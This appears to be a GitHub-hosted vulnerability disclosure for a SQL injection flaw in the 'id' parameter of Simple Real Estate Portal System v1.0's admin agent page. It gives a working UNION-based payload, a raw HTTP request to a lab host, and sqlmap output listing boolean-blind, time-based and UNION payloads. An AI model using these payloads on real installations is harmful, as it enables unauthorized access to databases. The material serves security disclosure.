

main

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bug_report / vendors / oretnom23 / Simple-Real-Estate-Portal-System / SQLi-5.md



debug601 Create SQLi-5.md

History

1 contributor

46 lines (34 sloc) | 2.25 KB

...

Simple Real Estate Portal System v1.0 has a SQL injection vulnerability

vendors: <https://www.sourcecodester.com/php/15184/simple-real-estate-portal-system-phpoop-free-source-code.html>

Vulnerability file: /reps/admin/?page=agents/manage_agent&id=

Vulnerability location: /reps/admin/?page=agents/manage_agent&id= , id

[+] Payload: /reps/admin/?

page=agents/manage_agent&id=-6193%27%20UNION%20ALL%20SELECT%201,2,database(),4,5,6,7,CONCAT(0x71767a6b71,0x7771447369794d5759634665645151594641457976797a594e4572717a514845527a5456534d416b,0x7176787871),9,10,11,12,13,14--+ //id is

Injection point

```
GET /reps/admin/?
page=agents/manage_agent&id=-6193%27%20UNION%20ALL%20SELECT%201,2,database(),4,5,6,7
--+ HTTP/1.1
Host: 192.168.1.19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.82 Safari/537.36
Accept:
```



```
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 98 HTTP(s) requests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: page=agents/manage_agent&id=1' AND 9572=9572 AND 'Lnjk'='Lnjk

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=agents/manage_agent&id=1' AND (SELECT 2188 FROM (SELECT(SLEEP(5)))fVBu) AND 'ffQM'='ffQM

  Type: UNION query
  Title: Generic UNION query (NULL) - 14 columns
  Payload: page=agents/manage_agent&id=-1480' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x6a49765a49784c4b45514e6d766369555a78597a6a6267764d56536
26e7076744250516f59764b66,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL, NULL--
---
[09:48:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.7, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
```